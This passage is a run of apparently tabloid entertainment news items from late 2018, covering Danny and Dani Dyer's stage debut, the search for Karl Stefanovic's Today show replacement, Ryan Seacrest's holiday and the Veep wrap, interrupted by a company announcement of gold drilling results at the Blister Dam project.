Wish I could just watch it over and over again! #smashedit #verygood #welldone #amazing #5stars #goodtimes,' another enthused. Someone else posted: '@Dani_MasDyer Made my childrens night seeing you and your Dad in @nativityuk. Thank you!' A fifth penned: 'Absolutely brilliant! It was the kids last day at school, my sons birthday tomorrow and a fabulous start to the Christmas holidays! Nativity Rocks!' Like father like daughter: Wednesday's opening night saw the aspiring actress and her EastEnders star dad receive a wash of rave reviews from theatregoers as they left the Apollo after the show All together now: The cast posed for an ensemble snap after the show's opening night 'Safe to say @MrDDyer and @Dani_MasDyer just nailed @nativityuk tonight! Big congratulations!' a sixth typed. Another praised Jo Brand, who also stars in the show: 'Two lovely people to work with. As is the fabulous, funny and adorable Jo Brand @nativityuk @Dani_MasDyer @MrDDyer!' Dani was sure to capture some of the backstage antics from the wings with her father Danny, ahead of their debut on stage. Giggling while pointing the camera at her dad, Dani videoed the EastEnders actor being taught a dance routing by a choreographer, involving some twerking, on Wednesday afternoon. Seasoned star: Danny once starred in Doghouse with his daughter, but is best known currently for his role as Mick Carter in EastEnders, which he has starred in since 2013 Antics: Dani shared a hilarious video of her dad Danny learning how to twerk backstage at their Christmas show Clearly perturbed with his daughter's playful mockery, Danny turned to the Love Island starlet, 22, and told her to 'f**k off'. Dani snapped another video from her dressing room, ahead of the show, telling her followers how she was feeling. 'So, completely freaking out this morning, couldn't sleep last night and I feel rotten. 'But I'm excited, it's the first night of Nativity! Cannot wait, really nervous,' she said. Backstage: Giggling while pointing the camera at her dad, Dani videoed the EastEnders actor being taught a dance routing by a choreographer, involving some twerking Not impressed: Clearly perturbed with his daughter's playful mockery, Danny turned to the Love Island starlet, 22, and told her to 'f**k off' The show also stars Simon Lipkin and runs until New Year's Eve. Danny plays Hollywood producer Mr Parker Lewis in the musical, and imitating life, Dani will portray Polly, his daughter. Polly is an aspiring actress and her father will do anything to get her into the spotlight. While Danny is a stalwart actor, Dani has thus far failed to launch a career as a performer - until now. Nerves: Dani snapped another video from her dressing room, ahead of the show, telling her followers how she was feeling Co-stars: Danny plays Hollywood producer Mr Parker Lewis in the musical, and imitating life, Dani will portray Polly, his daughter She rose to fame over the summer on Love Island, going on to win the show with partner Jack Fincham. The pair split for a few days earlier in December but are now back on, with the break-up branded merely 'a blip'. They are also set to star in their own fly-on-the-wall reality series, which will air on ITVBe from January. Dani used to work as a barmaid, but has expressed a desire to be an actor, like her father. She has been trying to gain recognition since the start of 2018, where she was briefly cast in ITV2 series Survival Of The Fittest. Winners: She rose to fame over the summer on Love Island, going on to win the show with partner Jack Fincham Next gig: Danny's stint at the Apollo will followed by more stage work in January and February. He will star in the Pinter At The Pinter season opposite Martin Freeman in the play The Dumb Waiter She injured herself on the first day and had to pull out - consequently paving the way for her to star on Love Island instead. Nativity is thought to be Dani's first mainstream stage role; she has appeared in films Doghouse (2009), We Still Kill The Old Way (2014) and Age Of Kill (2015). Dad Danny also starred in Doghouse, but is best known currently for his role as Mick Carter in EastEnders, which he has starred in since 2013. Danny's stint at the Apollo will followed by more stage work in January and February. He will star in the Pinter At The Pinter season opposite Martin Freeman in the play The Dumb Waiter. He's been widely rumoured as Channel Nine's 'favourite choice' to replace now-axed Today show host Karl Stefanovic. But on Thursday, Ben Fordham confirmed he would 'definitely not' be replacing the veteran anchor and wished him well for his future endeavors. 'Karl's done a great job hosting that show for a long long time. I lasted four years, he lasted 14 years. I was just privileged to spend four years in the crease,' the father-of-two said as he stepped out in Sydney. Scroll down for video 'It was a privilege to work with you': Ben Fordham has sent his well-wishes to sacked Today host Karl Stefanovic and confirmed he 'definitely won't' replace the anchor in 2019 during an interview outside his home on Thursday morning The 2GB radio presenter and Nine reporter said he had sent his own personal message to Karl that morning following the news of his departure from the show. Ben has long been tipped to take Karl's job due to his 'family-friendly image' and 'broad fanbase', with rumours he may replace his pals starting to emerge in March following Karl's Ubergate scandal. However, when asked if he would step into Karl's shoes, he said his current priority was to spend time with his two children - Freddy, three, and Pearl, two. 'Definitively not. I wake up with these guys in the morning, my wife (Jodie Speers) works in the morning, I don't. I'm going to be home all the time,' he told photographers outside his home. 'I wake up with these guys in the morning': When asked if he would step into Karl's shoes, Ben claimed his current priority was to spend time with his children - Freddy, three, and Pearl, two Doting dad! Ben had long been tipped to take Karl's job due to his 'family-friendly image' and 'broad fanbase' 'I haven't been asked to do the job, I don't expect that I'd be asked to do the job': While Ben regularly fills in on the Today show (Pictured with Georgie Gardner), he has no desire to take on the gig full-time in 2019 He added: 'I haven't been asked to do the job, I don't expect that I'd be asked to do the job and I certainly am not in the position to do the job.' He said he thought that Karl would 'enjoy the time' away from the show - no doubt freeing up his mornings to spend time with his new wife. Ben also joked as he pointed to his two kids: 'And as you can see there are other things in life to worry about than TV.' 'My wife (Jodie Speers) works in the morning, I don't. I'm going to be home all the time': Ben says he enjoys spending the mornings with his two young children Busy dad! The radio and TV presenter, 42, was all smiles as he headed out with his adorable children on Thursday In October, Daily Mail Australia revealed that Ben was prepared to turn down an offer to host the Today show if Channel Nine decided to sack Karl. A TV insider claimed that Ben - who is considered a 'favourite' at the network - was 'adamant he [would] not accept the role in the near future'. The media all-rounder, who has been with Nine for almost 20 years, supposedly made it clear to management he didn't want to take over the reigns at Today in 2019 . He'll be right! Ben said that Karl would 'enjoy the time' away from the show, joking as he pointed to his two kids: 'And as you can see there are other things in life to worry about than TV' 'Karl's done a great job hosting that show for a long long time': Ben praised Karl's performance on the show for the past 14 years and said he had sent his own well-wishes to the star while he's away with his new wife Jasmine in Aspen Ouch! When news broke of Karl's departure from the breakfast program he was on his honeymoon with new wife Jasmine (nee Yarbrough) in Aspen after their Mexico wedding Karl was dumped from the Today show on Wednesday. It is believed his personal life - including his engagement and recent wedding to shoe designer Jasmine Yarbrough, who is nine years his junior - has been a major turn-off for female viewers. While Karl will not return to the Today show, he will continue to host his Channel Nine show, The Time Next Year, and will likely appear on other programs on the network. When news broke of Karl's departure from the breakfast program he was on honeymoon with new wife Jasmine (nee Yarbrough) in Aspen. His romance with the much-younger woman, 34, was widely speculated to be one of the reason for the show's decline in ratings over the past two years - especially among female viewers. Karl's replacement for the Today show is yet to be officially announced. Who will replace him? Karl's replacement for the Today show is yet to be officially announced Grizzly Bear Cubs And Me Rating: Celebrity Call Centre Rating: On almost every wildlife filming assignment, the cameramans art is to get as close as possible to the animals and win their trust. For Gordon Buchanan, in the two-part Grizzly Bear Cubs And Me (BBC2), the opposite applied. The weird thing was, he told me during an interview earlier this month, at the start, I felt very close to the bears. That attachment became more distant as time went on, because we were teaching them to fend for themselves. The six orphaned cubs were growing up close to Russias border with Ukraine, at a sanctuary run by conservationists Sergei and Katya Pazhetnov. Gordon Buchanan and 6-month-old Russian bear cub Pasha, the smallest and shyest member of the group, at the Orphaned Bear Rescue Centre, Bubonitsy, Russia Sergei, whose father Ballantin set up the centre in the Eighties, knows the importance of keeping human contact to a minimum: bears that have learned to trust people wont survive in the wild. That meant Gordon had to control his instinct to cuddle the cubs when he was bottle-feeding them. The father of teenagers, he found himself remembering all the sleepless nights when his own children now 13 and 15 were babies: All my dad skills kicked straight back in, he told me. I knew if I got stressed and wound up by the noise and the screaming, the cubs would sense it. The second episode included plenty of his trademark camerawork, as the bears settled into life in the wild. No one is better at capturing the sense that all animals, just like us, are social creatures which thrive in families and tribes. Whether he is watching gorillas, wolves or meerkats, his lens picks up on friendships and affections. Orphaned Grizzly Bear cub Pasha enjoying a bowl of porridge at the Orphaned Bear Rescue Centre He also has an eye for animal playtime. By rubbing pureed fish guts over a rotten log, he encouraged the cubs to rip it to sawdust and roll blissfully in the mess. Its a lot of fun, being a bear, he says appreciatively. Gordon is honing his skills as a TV presenter in the same way that David Attenborough did, 60 years ago by pursuing personal projects all over the world that combine his abilities as a technician with his gift for explaining animal behaviour without talking down to the viewer. Attenboroughs big breakthrough came when, inspired by shows such as Civilisation and The Ascent Of Man, he devised a series that told a sweeping story Life On Earth. That led, of course, to decades of big-picture documentaries, including Planet Earth, on which Gordon worked as a cameraman. As the natural heir to Attenborough (who is more active than ever, and shows no signs of retiring just yet), Gordon will one day need to widen his focus, from individual animal families to a broad, holistic view of the world. If he can do that, and still keep showing us these fascinating details of behaviour, we will have a film-maker to treasure. A band of celebrities were helping out with advice on Celebrity Call Centre (C4) fielding pleas for help from members of the public worried about everything from loneliness at Christmas to the problems of getting a girlfriend A band of minor national treasures were helping out with nuggets of advice on Celebrity Call Centre (C4) fielding pleas for help from members of the public worried about everything from loneliness at Christmas to the problems of getting a girlfriend. Being celebs, of course, they did a good deal more talking than listening, though they did all seem to be eavesdropping on each others calls. Debbie McGee, whose husband Paul Daniels died in 2016, was particularly good at offering condolence. Comedian James Acaster was less handy at bolstering peoples confidence. He invited a shy businessman to work on some chat-up lines. Tell her she looks cute? the bloke suggested. Dont say that! Acaster yelped. You sound like a creep. Very reassuring. Emmy-winning producer Ryan Seacrest hit the dock during his lavish Christmas vacation in the French-speaking, Caribbean isle of Saint Barthelemy on Wednesday. The Atlanta-born powerful presenter flaunted his legs in preppy black shorts, sock-less beige loafers, and a blue chambray shirt before boarding a boat. The On Air host was joined in paradise by his on/off girlfriend Shayna Terese Taylor -who wore a white Tori Praver string bikini, XIV Karats earrings, and Logan Hollowell necklace while lounging 'on the sundeck.' Holiday! Emmy-winning producer Ryan Seacrest hit the dock during his lavish Christmas vacation in the French-speaking, Caribbean isle of Saint Barthelemy on Wednesday Slim ankles: The Atlanta-born powerful presenter flaunted his legs in preppy black shorts, sock-less beige loafers, and a blue chambray shirt before boarding a boat Even though Ryan doesn't technically turn 44 until Monday, the 26-year-old personal chef threw him a pirate-themed 'suprise' birthday bash on the beach. The May-December duo partied with their similarly-costumed pals including designer Naeem Khan, Electric social media manager Hailey McCarter, and Anjali S. Reade. Shayna made sure to Insta-story all of the action, including a serene sunset shot of their bonfire with a yacht floating in the sea on the horizon. The Indian-American 60-year-old - whose clothing is favored by former FLOTUS Michelle Obama and the Duchess of Cambridge Kate Middleton - also Insta-storied the impressive fireworks display dedicated to Seacrest. Triangle top: The On Air host was joined in paradise by his on/off girlfriend Shayna Terese Taylor - who wore a white Tori Praver string bikini while lounging 'on the sundeck' Arrrrr! Even though Ryan doesn't technically turn 44 until Monday, the 26-year-old personal chef threw him a pirate-themed 'suprise' birthday bash on the beach 'Pirates of the Caribbean!' The May-December duo partied with their costumed pals including designer Naeem Khan, Electric social media manager Hailey McCarter, and Anjali S. Reade Back in September, the American Idol host and the 5ft9in Wilhelmina model sweetly supported the former Halston apprentice at his New York Fashion Week runway presentation at Spring Studios' Gallery I. The globetrotting bicoastal couple - who have an 18-year age difference - met through friends in 2013, split in late 2014, and rekindled their romance in April 2017. 'It's been wonderful. We're very in sync...Living together is easy,' Seacrest gushed to People last week. 'Family is so important to me, and to Shayna as well, but I've always tried to put life into a master schedule with deadlines, and I don't want to do that [with Shayna]. We both try to actually be in this moment, feel this connection, enjoy it and let it grow.' Picturesque: Shayna made sure to Insta-story all of the action, including a serene sunset shot of their bonfire with a yacht floating in the sea on the horizon 'Happy birthday buddy!' The Indian-American 60-year-old - whose clothing is favored by former FLOTUS Michelle Obama and the Duchess of Cambridge Kate Middleton - also Insta-storied the impressive fireworks display dedicated to Seacrest Friends: The American Idol host and the 5ft9in Wilhelmina model had sweetly supported the former Halston apprentice at his NYFW presentation (pictured September 11) Taylor - who won Ryan over with her gluten-free pancakes - frequently appears on his morning show LIVE! with Kelly and Ryan. The Irvine-born blonde also runs her blog Shayna's Kitchen and she'll soon launch Moonstone Skin. Before dating Shayna, the University of Georgia drop-out was previously in a three-year relationship with Dancing with the Stars' Julianne Hough. 'It's been wonderful!' The globetrotting bicoastal couple - who have an 18-year age difference - met through friends in 2013, split in late 2014, and rekindled their romance in April 2017 (pictured October 31) Seacrest gushed to People last week: 'We're very in sync...Living together is easy. Family is so important to me, and to Shayna as well, but I've always tried to put life into a master schedule with deadlines, and I don't want to do that [with Shayna]' (pictured October 8) Seacrest will next host Dick Clark's New Year Rockin' Eve - airing December 31 on ABC/YouTube - which features live performances from Christina Aguilera, Dan + Shay, New Kids on the Block, and Bastille. Ryan remains unscathed following his #MeToo scandal involving personal stylist Suzie Hardy (who worked for him 2007-2013) after she claimed she was subjected to 'years of unwanted sexual aggression.' In February, the E! Network cleared the Shades of Blue executive producer of all wrong-doing after a three-month misconduct investigation revealed there was 'insufficient evidence.' 'Making homemade almond milk!' Taylor - who won Ryan over with her gluten-free pancakes - frequently appears on his morning show LIVE! with Kelly and Ryan Further Positive Drilling Results from Blister Dam Perth, Dec 20, 2018 AEST (ABN Newswire) - Intermin Resources Limited ( ASX:IRC ) ("Intermin" or the "Company") is pleased to announce drilling results from Intermin's 100% owned Blister Dam Gold project, located on the Zuleika and Kunanalling shear zones 65km northwest of Kalgoorlie-Boulder in Western Australia (see Figures 1 and 2 in link below).HIGHLIGHTS- Exploration drilling program completed at the 100% owned Blister Dam gold project, 65km northwest of Kalgoorlie-Boulder in the Western Australian goldfields- Drilling comprised 56 holes for 6,954m to an average depth of 120m- Positive results obtained at Argo, Atlantic and Loran (see Figure 1 in link below) with significant intercepts including(see Note 1 below):o 6m @ 5.97g/t Au from 66m (BDRC18001 - Argo)o 12m @ 4.03g/t Au from 16m (4m composite, BDRC18003 - Argo)o 7m @ 1.54g/t Au from 59m (BDRC18008 - Atlantic)o 9m @ 1.56g/t Au from 69m (BDRC18024 - Atlantic)o 10m @ 1.26g/t Au from 58m (BDRC18026 - Atlantic)o 5m @ 1.47g/t Au from 66m (BDRC18010 - Loran)- Geological mapping and sampling of the Chadwin-Loran-Argo area has commenced with a view to improving the local stratigraphy and mineralisation model- Seven deep RC holes were also drilled as part of the new discovery, EIS co-funding scheme- Follow up drilling planned in the first half of 2019Commenting on Blister Dam results, Intermin Managing Director Mr Jon Price said:"These latest drilling results continue to demonstrate the prospectivity of the northern region of the Zuleika shear which remains relatively unexplored in comparison to the southern region which has delivered new open cut and underground discoveries and high margin producing mines. We look forward to building on these encouraging results with follow up drilling planned for 2019."OverviewDuring 2017, 21 targets were identified at Blister Dam. These were based on interpreted structures, geological contacts, historic drilling and geochemical signature. Nine of these targets were drill tested with 46 Reverse Circulation ("RC") holes drilled for 4,120m in 2017 to an average depth of 90m(see Note 2 below). Subsequently in 2018, Intermin conducted follow up drilling at the more promising prospects including Atlantic, Argo and Seven Seas. First pass drilling was also conducted at three additional targets including the historical Chadwin workings, Loran and Atlantic South.An Induced Polarisation ("IP") survey was also completed in 2017 to define several new targets. An Exploration Incentive Scheme (EIS) grant of $60,000 was approved in January 2018. The proposed drill holes targeted several low order conductor anomalies at the Atlantic and Seven Seas areas.The bulk of the 2018 drilling was directed at the Atlantic prospect and followed up on the 2016 drilling. Significant 2016 results included (see Note 3 below):- 17m @ 1.01g/t Au from 59m (BDRC1603)- 4m @ 3.13g/t Au from 80m (BDRC1604)- 4m @ 1.30g/t Au from 56m (BDRC1602)In addition, historical drilling had identified broad sequences of low grade, shear hosted mineralisation (0.4-0.9 g/t Au) which was confirmed in the recent drilling including(see Note 1 below):- 56m @ 0.60g/t Au from 54m (BOH 0.57 g/t Au from 109-110m, BDRC18029)- 53m @ 0.69g/t Au from 60m (BDRC18028)- 68m @ 0.82g/t Au from 56m (BDRC18008)Within these low grade zones, there are a number of discrete higher grade shoots. The best of these was BDA153 (14m @ 2.90g/t Au from 62m)(see Note 1 below). Historic wide spaced drilling centred on BDA153 returned no significant results to date.The drill grid was reduced to intercept the cross structure thought responsible for this mineralisation enabling improved modelling of the ore zone (see Figure 3 in link below). Better results included(see Note 1 below):- 7m @ 1.54g/t Au from 59m & 14m @ 1.09g/t Au from 79m (BDRC18008 - Atlantic)- 9m @ 1.56g/t Au from 69m (BDRC18024)- 10m @ 1.26g/t Au from 58m (BDRC18026)- 1m @ 4.08g/t Au from 54m, 8m @ 1.27g/t Au from 66m & 4m @ 1.16g/t Au from 93m (BDRC18029)The strike length was also tested by three holes 40-240m along the south eastern strike. Two of the holes recorded anomalous mineralisation including 4m @ 0.62g/t Au from 108m (BDRC18009) and 4m @ 0.88g/t Au from 88m (BDRC18045)(see Note 1 below).Following along the Atlantic/Zuleika trend, another drill hole was targeted into an area 1,100m southeast of the Atlantic prospect. BDRC18047 was drilled to 130m depth and sited behind BDRC17037 (8m @ 0.13g/t Au from 24m, see Figure 1 in link below). BDRC17037 appeared to intersect the down strike extension of some quartz veins exposed in a small costean 60m away, one 30cm wide vein assayed 4.75g/t Au. The shallow costeans are dug within the Kurrawang sediments and conglomerates. BDRC18047 recorded several low order, anomalous results, but the most significant was an encouraging 1m @ 9.20 g/t Au from 53m(see Note 1 below) within the fresh bedrock. A second proposed hole in this area designed to following up BDRC17035 (1m @ 0.91 g/t Au from 39m) was not able to be drilled due to weather delays. Further drilling in 2019 is planned.Atlantic is relatively complex mineralisation, with several models being considered. Tertiary lake clays up to 20m depth obscure any outcrops and conceal the mineralisation. Diamond drilling to help delineate the structure and further test for high grade mineralisation is scheduled in 2019.The second priority target at Blister Dam was Argo. Argo was discovered in 2017 whilst testing some nearby historic holes and soil anomalies. The best first pass results from 2017 included 4m @ 5.03g/t Au from 46m (BDRC17050) and 10m @ 1.02g/t Au from 20m (BDRC17009)(see Note 2 below).Step back drilling on a 20m x 40m pattern discovered that strong mineralisation extends to 70m vertical depth as shown in Figures 5 and 6 (see link below). Significant results at Argo included(see Note 1 below):- 6m @ 5.97g/t Au from 66m (BDRC18001, visible gold panned)- 12m @ 4.03g/t Au from 16m (BDRC18003)*- 8m @ 1.41g/t Au from 8m (BDRC18017)*- 8m @ 1.05g/t Au from 80m (BDRC18013)*The strike extent of mineralisation has now increased from 40m to 140m and, potentially, remains open to the northwest. Anomalous, untested soils are noted immediately southeast of Argo. Further drilling, including diamond, is scheduled for Argo in 2019.Field reconnaissance around the Argo area confirmed the prospectivity of several proposed 2017 targets. These included the historic Chadwin workings and Drabbco/Argosy workings 450m west of Argo. The Drabbco/Argosy workings were briefly tested in 2017 by BDRC17029 (1m @ 2.15 g/t Au) (see Note 2 below). This result was followed up by three additional holes, however no significant mineralisation was intercepted.Chadwin is also located 3km southeast and along strike of the small Magdala open cut mine (~4,300 oz, 1993). The old workings are sited on some thin, quartz veins dipping steeply to the south west. Four holes retested the Chadwin workings and depth extensions (see Figure 7 in link below) with mixed success. Significant results included(see Note 1 below):- 4m @ 2.48g/t Au from 56m (BDRC18040)- 1m @ 4.75g/t Au from 32m (BDRC18038)The results confirm high grades exist at relatively shallow depths. However two deep holes designed to intersect the vein at 120m depth failed to intersect this lode, possibly due to pinch out. Unusual elevations of anomalous oxide mineralisation (1m @ 0.53g/t Au) were noted at 33m in BDRC18037 and appear to be unrelated to the presumed oxide/transitional gold adjacent to the workings and targeted mineralisation. The strike extents are poorly tested and will now be reviewed in detail. Follow up RC work is planned for 2019.The fourth target tested in the Chadwin-Argo area is now known as the Loran prospect. Loran sits about 400m north east of the Chadwin workings. It is a new discovery, but more importantly Loran exhibits more definitive geological control on the gold mineralisation than other areas tested at Blister Dam. Two holes tested the soil anomaly with BDRC1801 returning 5m @ 1.47g/t Au from 66m1. The ore zone is visual and sits on a sheared basalt/ultramafic contact. A hilly outcrop of recently recognised, massive porphyritic basalt ("cat rock") separates Chadwin from Loran. Soil anomalies on adjacent flanks are noted.Cat rock is found at a number of major mines along the Zuleika Shear, including Frog's Leg, Pegasus and Rubicon and its occurrence here flags the Chadwin-Loran-Argo areas for more detailed assessment. Follow up work in 2019 will include mapping and stratigraphy, ground magnetics and sampling prior to further drilling.The third priority target is the Seven Seas prospect. This area was reasonably well tested in 2017 with highlights of 1m at 36g/t Au from 35m and 4m at 3.33g/t Au from 43m2. Mineralisation was restricted to narrow quartz veins within sedimentary rocks and its contacts over a strike length of 120m. Four shallow holes were drilled on the southern boundary to test the strike extent. Anomalous results were obtained from just the one hole located 40m south of Seven Seas suggesting that the mineralisation is patchy.- 4m @ 0.72g/t Au from 24m and 4m @ 0.48g/t Au from 44m* (BDRC18012)Three co-funded holes (854m) were drilled southwest and southeast of Seven Seas. The holes all tested low order, conductor anomalies within carbonate altered ultramafic rock, basalts and sediments. No significant mineralisation was observed in BDRC18050 (280m) and BDRC18048 (294m) with the best result being 4m @ 0.13 g/t Au from 48m in BDRC18048 (see Figure 8 in link below). The conductors were attributed to local concentrations of barren pyrite and pyrrhotite. BDRC18049 (280m) was drilled 330m southeast, along strike from Seven Seas, and aimed to intersect a relatively stronger conductor at around 130m vertical depth. The hole was successful in this regard as a strongly pyritic, but barren, black shale unit was logged at 185-187m. Better results from BDRC18049 included(see Note 1 below):- 1m @ 4.87g/t Au from 161m- 1m @ 2.51g/t Au from 241m- 1m @ 0.74g/t Au from 276mThese intercepts plot up with down dip projections from the Seven Seas prospect and suggests limited potential for improved grades at depth. It also suggests that the Seven Seas mineralisation along strike is potentially much larger (>450m) than what has been tested to date. Further work is planned in 2019.Four co-funded holes for 850m were also located in untested areas across strike from the Atlantic prospect. All four holes failed to intersect significant mineralisation associated with the IP conductors. Interestingly Atlantic itself did not have any attributable IP signature. The IP targets were all targeting new mineralisation along the Carnage Fault east of Atlantic (BD18046, 180m) where prospectors had reportedly discovered shear hosted gold within exposed bedrock.Three holes were drilled west of Atlantic. BDRC18043 (160m) tested a shallow conductor thought to be due to graphitic shale. It returned 4m @ 0.16g/t Au from 68m. BDRC18042 (230m) had no significant mineralisation whilst BDRC18044 (280m) had a best result of 4m @ 0.25g/t Au from 260m. No further work is planned in the immediate area.Scheduled follow up drilling for Tasman (11m @ 0.45g/t Au) and Syledis prospects (2m @ 1.31g/t Au) was delayed due to poor weather and will be completed in 2019.Next stepsThe prospectivity and understanding of the Argo-Loran-Chadwin area is improving as shown by the recent drill success. Initial work in 2019 will involve mapping, stratigraphy, sampling, geochemistry and ground magnetic surveys. Follow up RC work is planned at these and other prospects. Diamond drilling will be scheduled for Argo, Atlantic and Loran.Notes:1 See Table 1 on Page 8, Competent Persons Statements on Page 10 and JORC Tables on Page 132 as announced to the ASX on 6 February 20183 as announced to the ASX on 1 March 2017* denotes 4m compositesTo view tables and figures, please visit:About Horizon Minerals Limited Horizon Minerals Limited (ASX:HRZ) is a gold exploration and mining company focussed on the Kalgoorlie and Menzies areas of Western Australia which are host to some of Australia's richest gold deposits. The Company is developing a mining pipeline of projects to generate cash and self-fund aggressive exploration, mine developments and further acquisitions. The Teal gold mine has been recently completed. Horizon is aiming to significantly grow its JORC-Compliant Mineral Resources, complete definitive feasibility studies on core high grade open cut and underground projects and build a sustainable development pipeline. Horizon has a number of joint ventures in place across multiple commodities and regions of Australia providing exposure to Vanadium, Copper, PGE's, Gold and Nickel/Cobalt. Our quality joint venture partners are earning in to our project areas by spending over $20 million over 5 years enabling focus on the gold business while maintaining upside leverage. With Karl Stefanovic out of the picture, viewers of the Today show are eagerly waiting to see who his replacement will be. For many, they hope that person will be Brenton Ragless. But just who is Brenton? Here's all you need to know about the newsreader widely tipped to replace Karl in 2019. Who is Brenton Ragless? Meet the 'friendly family' favourite to replace Karl Stefanovic on the Today show - as fans rally behind the man Channel Nine is calling their 'safe bet' Career Brenton, 42, is Channel Nine's Adelaide newsreader who presents the 6pm bulletin alongside Kate Collins. The former weatherman moved to the news desk in 2014. Fans of Getaway and Postcards will also recognise Brenton, as he has presented a handful of local segments for both shows over the years. The new Karl: Brenton, 42, is Channel Nine's Adelaide newsreader who presents the 6pm bulletin alongside Kate Collins. The former weatherman moved to the news desk in 2014 Prior to joining Nine, Brenton provided commentary on fires and other disasters as a media spokesperson for the SA Country Fire Service, and was a fire and emergencies reporter for ABC Radio. In the early 1990s he roamed Adelaide by bus as a tour guide, and was an emcee at weddings on Saturday nights. Brenton is currently presenting Today over the summer non-ratings period alongside veteran broadcaster Deborah Knight. Out with the old: With Karl Stefanovic (pictured) out of the picture, viewers of the Today show are eagerly waiting to see who his replacement will be He is apparently enjoying the role, telling The Australian earlier this month: 'It is a bit more light and shade than the news, and it allows a bit more of the old tour guide Brenton Ragless to come out.' 'It's an exposure to a world I've never experienced in Adelaide,' he added. 'There are 30 people behind the scenes on Today [which] helps me as a presenter. The opportunities to do live, unscripted TV are rare.' Familiar face: Fans of Getaway and Postcards will also recognise Brenton, as he has presented a handful of local segments for both shows over the years Family life Brenton was born in Blackwood, South Australia, and has been married to his wife Hayley for a decade. He met Hayley at a film processing lab in Adelaide and they are now parents to sons Edan and James. Family man: Brenton was born in Blackwood, SA, and has been married to his wife Hayley for a decade. They met at a film processing lab in Adelaide and are now parents to two sons Interests A newsman by day, Brenton is also an avid swimmer, cyclist and volunteer firefighter. He followed in the footsteps of his father, who was a firefighter in the catastrophic Ash Wednesday bushfires in South Australia in 1983. He also likes tinkering with his old man's own vintage fire engine: an open cab 1961 International fire truck. Action man! A newsman by day, Brenton is also an avid swimmer, cyclist and volunteer firefighter Meanwhile, judging by the reaction on social media, viewers of the Today show are in support of Brenton becoming a permanent on-air host. On Friday, a photo of Brenton and his co-host Deborah Knight was shared to the program's official Instagram account. Fans excitedly commented below the post, writing: 'You too work so well together. Please let them host permanently', and 'Could we please have Brenton as Karl's replacement? He's great.' Other comments included: 'Love watching Deb and Brenton, so happy, flows so well!', and 'Love watching you guys. So natural and pleasant!' It was the end of an era on Tuesday for HBO's Veep, as production wrapped on the seventh and final season. And Julia Louis-Dreyfus marked the occasion by sharing some photos of the cast and crew from the last day on set Wednesday. 'These are photos from our pre-wrap wrap party of just some of my friends from @veephbo,' Louis-Dreyfus said. 'Im going to miss these people more than I can express. Actually I already do miss them. Im gutted.' JLD says goodbye: Julia Louis-Dreyfus shares more photos from her 'pre-wrap wrap party' for Veep as production winds down on the final season Showing the love: 'These are photos from our pre-wrap wrap party of just some of my friends from @veephbo,' Louis-Dreyfus said. 'Im going to miss these people more than I can express. Actually I already do miss them. Im gutted' The candid photos featured Louis-Dreyfus posing along with co-stars Matt Walsh, Anna Chlumsky, Clea DuVall, Sam Richardson, executive producer David Mandel, and more. She also shared a shot of the two women who did her makeup and hair for all seven seasons of Veep, Terrie Velazquez Owen and Karen Kawahara. 'These are the wonderful people who create the Selina Meyer hair and make up,' Louis-Dreyfus said. 'They are kind and dear and complete geniuses at what they do. Im forever in their debt. Thats a wrap, Wiggy. Boo boo. @veephbo #veep #finalepisode' Julia and co-stars: The 57-year-old actress shared five photos on Instagram with various cast and crew members, as production came to a close Co-stars: The candid photos featured Louis-Dreyfus posing along with co-stars Matt Walsh, Anna Chlumsky, Clea DuVall, Sam Richardson, executive producer David Mandel, and more. Veep executive producer David Mandel also shared some photos of his own, two group shots with the cast and crew watching the final scenes. 'At the monitors last night for the second to last scene #veep #bts #bigcrowd #finalepisode @veephbo,' Mandel said in one post. 'Final scene #videovillage everyone was there #veep #bts @veephbo,' Mandel said in his tweet about the final scene. Group shot: Veep executive producer David Mandel also shared some photos of his own, two group shots with the cast and crew watching the final scenes That's a wrap: 'Final scene #videovillage everyone was there #veep #bts @veephbo,' Mandel said in his tweet about the final scene Emotional: Julia Louis-Dreyfus, 57, was tear-stricken as she showed up to the set of Veep for the last time Tuesday American dream: Julia's character was a senator, vice president and president on the series She shared a shot of the door of her trailer, writing, 'Goodbye to trailer life,' with the hashtag, #finalepisode. In a shot she posted on Twitter, she held up a black clutch with the hashtag, #veep. Louis-Dreyfus and showrunner David Mandel revealed in September 2017 that the comedy would end after seven seasons. Louis-Dreyfus told The Hollywood Reporter at the time that 'it became clear that this season should be the last season' to end the show on a high note, creatively. Coming to an end: Louis-Dreyfus and showrunner David Mandel revealed in September 2017 that the comedy would end after seven seasons Friendly confines: She shared a shot of the door of her trailer, writing, 'Goodbye to trailer life' In the clutch: In a shot she posted on Twitter, she held up a black clutch with the hashtag, #veep 'We don't want to repeat ourselves or wear out our welcome,' she said. 'The story has a finality to it that feels end-of-series ... I'm not kidding - I really feel this is my baby and I don't want to mess it up. 'I would hate to end on a less-than note. That would make me nuts.' Louis-Dreyfus, who won six of her eight Emmys for her work on the series, admitted she 'struggled with' the decision to call it a day for the show. Sentimental: The actress has won six Emmys for her portrayal of Selina Meyer on the HBO series 'And then it just hit me. It's hard to say goodbye to such a good thing. We struggled with this at Seinfeld as well,' said Louis-Dreyfus, who shot to superstardom playing Elaine Benes on the NBC smash from Larry David and Jerry Seinfeld. Mandel added, 'It's bittersweet but it's right.' The series, which was created by Armando Iannucci and also starred Anna Chlumsky, Tony Hale and Matt Walsh, followed the political career of Julia's Meyer character as she toggled between the highest offices in the land. The actress in September of 2017 revealed she was battling breast cancer, which delayed the production of Veep as she underwent treatment until she returned to the set in August. Speaking to The New Yorker earlier this month, Louis-Dreyfus said she refused to be overtaken by fear or sorrow amid the health battle. 'The "Am I gonna be dead tomorrow" kind of thing? I didn't let myself go there. Don't misunderstand: I was to-my-bones terrified,' she said. 'But I didn't let myself - except for a couple of moments - go to a really dark place. I didn't allow it.' Peter Stefanovic has been spotted in public for the first time since being axed by Channel Nine as part of a rumoured 'cost-reduction' strategy. The former Weekend Today host, 37, appeared dishevelled and unshaven as he went shopping at a Coles supermarket in Brisbane on Thursday. He was joined by his wife Sylvia Jeffreys, whose own future at the network is reportedly looking uncertain amid speculation she is being downgraded to a weather presenter. Shopping for a new job? Peter Stefanovic and Sylvia Jeffreys looked strained during a trip to Coles in Brisbane on Thursday - after the Weekend Today host was sacked from Channel Nine Peter dressed casually for the shopping trip in a blue shirt, which he left partially unbuttoned, and a pair of green shorts and matching loafers. He was seen carrying a Coles shopping bag while waiting in the supermarket's car park for the valet to arrive. Sylvia, 32, wore a full-length beige dress with Greek sandals and concealed her gaze behind designer sunglasses. VIP treatment: Peter and Sylvia were seen carrying shopping bags while waiting in the supermarket's car park for the valet to arrive The sighting comes after reports the couple - who were once nicknamed the 'Harry and Meghan of Channel 